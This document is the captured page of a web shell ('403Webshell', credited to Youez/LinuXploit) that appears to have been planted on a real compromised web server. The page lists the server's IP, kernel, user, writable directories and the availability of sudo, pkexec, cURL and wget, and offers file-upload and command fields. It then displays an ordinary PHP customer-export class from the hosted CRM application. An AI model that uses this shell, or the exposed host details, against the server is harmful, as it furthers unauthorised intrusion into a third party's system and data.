403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app.houseland.info/modules/exports/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.houseland.info/modules/exports/services/CustomerCSVExport.php
<?php

namespace app\modules\exports\services;

use CI_DB_mysqli_driver;

class CustomerCSVExport extends CSVExport
{
    private string $defaultLanguage;

    private string $baseCurrency;

    private array $countriesMap;

    public function __construct(?string $fromDate, ?string $toDate)
    {
        parent::__construct($fromDate, $toDate, 'customers');
        $this->baseCurrency    = get_base_currency()->name;
        $this->defaultLanguage = get_option('active_language');
        $this->countriesMap    = collect(get_all_countries())->pluck('short_name', 'country_id')->toArray();
    }

    private array $excludedFields = [
        'leadid',
        'addedfrom',
        'company',
        'show_primary_contact',
        'default_language',
    ];

    public function queryData(): CI_DB_mysqli_driver
    {
        $select = get_sql_select_client_company('company_name')
            . ',' . db_prefix() . 'leads.name as lead_name,' . db_prefix() . 'currencies.name as default_currency'
            . ',CONCAT(' . db_prefix() . 'staff.firstname, " ", ' . db_prefix() . 'staff.lastname) as created_by';
        $this->ci->db->select(prefixed_table_fields_array(db_prefix() . 'clients', true, $this->excludedFields) . ',' . $select);
        $this->selectCustomFields(db_prefix() . 'clients.userid');
        $this->ci->db->join(db_prefix() . 'contacts', db_prefix() . 'contacts.userid = ' . db_prefix() . 'clients.userid AND is_primary = 1', 'left');
        $this->ci->db->join(db_prefix() . 'staff', db_prefix() . 'staff.staffid = ' . db_prefix() . 'clients.addedfrom', 'left');
        $this->ci->db->join(db_prefix() . 'leads', db_prefix() . 'leads.id = ' . db_prefix() . 'clients.leadid', 'left');
        $this->ci->db->join(db_prefix() . 'currencies', db_prefix() . 'currencies.id = ' . db_prefix() . 'clients.default_currency', 'left');
        $this->applyDateFilter(db_prefix() . 'clients.datecreated');

        return $this->ci->db->from(db_prefix() . 'clients');
    }

    protected function formatRow(string $name, $value, array $row)
    {
        switch ($name) {
            case 'country':
            case 'billing_country':
            case 'shipping_country':
                return array_key_exists($value, $this->countriesMap) ? $this->countriesMap[$value] : $value;
            case 'default_currency':
                return $value ?: $this->baseCurrency;
            case 'default_language':
                return $value ?: $this->defaultLanguage;
            default:
                return parent::formatRow($name, $value, $row);
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit